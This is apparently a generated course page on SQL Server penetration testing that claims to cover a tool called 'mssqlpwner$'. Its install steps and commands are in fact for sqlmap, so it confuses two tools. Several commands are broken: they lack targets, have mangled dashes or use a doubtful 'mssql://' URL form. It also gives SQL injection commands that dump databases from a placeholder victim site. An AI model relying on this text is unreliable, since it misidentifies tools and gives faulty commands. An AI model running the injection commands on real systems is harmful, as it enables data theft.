# Course #367: mssqlpwner$ for Effective SQL Server Penetration Testing

## Section 1: Introduction to mssqlpwner$

### Installation and Configuration on Kali Linux

To begin utilizing the mssqlpwner$ tool effectively, we must first install and configure it on Kali Linux. This section will guide you through the process step-by-step.

#### Prerequisites

Before we start, ensure that you have the following:

– A working installation of Kali Linux (preferably the latest version).
– Basic knowledge of SQL Server and penetration testing concepts.
– Sudo privileges to install packages.

#### Step 1: Updating Kali Linux

Ensure that your system is up-to-date. Open a terminal and run the following commands:

"`bash
sudo apt update && sudo apt upgrade -y
"`

#### Step 2: Installing Dependencies

mssqlpwner$ relies on several dependencies. Install them by executing:

"`bash
sudo apt install git python3 python3-pip -y
"`

#### Step 3: Cloning the mssqlpwner$ Repository

Next, clone the mssqlpwner$ repository from GitHub. This can be accomplished by running:

"`bash
git clone https://github.com/sqlmapproject/sqlmap.git
"`

Navigate into the cloned directory:

"`bash
cd sqlmap
"`

#### Step 4: Installing Python Dependencies

mssqlpwner$ requires several Python packages. Install the necessary packages using pip:

"`bash
pip3 install -r requirements.txt
"`

### Step 5: Configuring mssqlpwner$

Configuration of mssqlpwner$ is primarily about understanding its capabilities. It does not typically require additional configuration, but it's essential to familiarize oneself with the command-line options available.

You can view the available options by running:

"`bash
python3 sqlmap.py -h
"`

This will display a range of options for the tool, including how to specify targets, authentication methods, and various payloads.

### Step-by-Step Usage and Real-World Use Cases

Now that we have installed and configured mssqlpwner$, we can delve into its usage. This section will provide you with a step-by-step approach to using mssqlpwner$ effectively, along with several real-world scenarios.

#### Use Case 1: Identifying MSSQL Servers

One of the first steps in a penetration test is to identify active SQL Servers within the target environment. You can accomplish this using various techniques, including network scanning and enumeration.

**Step 1:** Use a network scanning tool like `nmap` to discover MSSQL servers:

"`bash
nmap -p 1433 –open -sV
"`

**Step 2:** Once you identify an MSSQL server, you can use mssqlpwner$ to probe it further. The following command attempts to connect to the SQL server using default credentials:

"`bash
python3 sqlmap.py -u "mssql://:1433" –dbs –level=5 –risk=3
"`

This command specifies the target IP address and attempts to retrieve database names.

#### Use Case 2: Exploiting SQL Injection Vulnerabilities

If your reconnaissance indicates that an application is vulnerable to SQL injection, you can leverage mssqlpwner$ to exploit this.

**Step 1:** Identify the vulnerable URL parameter. For example:

"`bash
http://victim.com/app.php?id=1
"`

**Step 2:** Use mssqlpwner$ to perform a SQL injection attack:

"`bash
python3 sqlmap.py -u "http://victim.com/app.php?id=1" –level=5 –risk=3 –dbs
"`

The above command will fetch database names from the vulnerable application.

**Step 3:** If you locate valuable databases, you can extract information using:

"`bash
python3 sqlmap.py -u "http://victim.com/app.php?id=1" –dump
"`

This command retrieves data from the identified databases.

### Detailed Technical Explanations

#### Understanding mssqlpwner$ Architecture

mssqlpwner$ functions primarily as a SQL injection framework tailored towards Microsoft SQL Server. Its architecture consists of various components:

– **Injections**: Various techniques are employed to inject SQL queries into vulnerable applications.
– **Enumeration**: The tool allows users to enumerate databases, tables, and even user credentials.
– **Exploitation**: The exploitation capabilities include data exfiltration, command execution, and more.

#### SQL Injection Techniques in mssqlpwner$

– **Boolean-based blind SQL injection**: This method uses boolean conditions to infer information.
– **Error-based SQL injection**: Errors thrown by the database are utilized to understand the structure of the database.
– **Union-based SQL injection**: This method combines the results of two or more SELECT statements.

For more detailed information on SQL injection techniques, you can refer to the following external resources:

– [OWASP SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection)
– [Acunetix: SQL Injection Types](https://www.acunetix.com/blog/articles/sql-injection-types/)

### Code Examples

Here are some practical code examples in markdown format that you can integrate into WordPress:

"`markdown
# Basic MSSQL Server Connection
"`bash
python3 sqlmap.py -u "mssql://:1433" –dbs
"`

# SQL Injection Attack to Retrieve Data
"`bash
python3 sqlmap.py -u "http://victim.com/app.php?id=1" –dump
"`

# Network Scan to Identify MSSQL Servers
"`bash
nmap -p 1433 –open -sV
"`

# Advanced Exploitation with Authentication
"`bash
python3 sqlmap.py -u "http://victim.com/app.php?id=1" –data="username=admin&password=123456" –level=5 –risk=3
"`

### Conclusion

In this section, we covered the installation and configuration of mssqlpwner$ on Kali Linux, discussed real-world usage scenarios, and provided a detailed technical overview of its functionalities. As you progress through the course, keep these concepts in mind to ensure effective penetration testing against SQL Server environments.

Remember, ethical hacking is a responsibility, and the skills you acquire should only be applied in lawful and authorized environments.
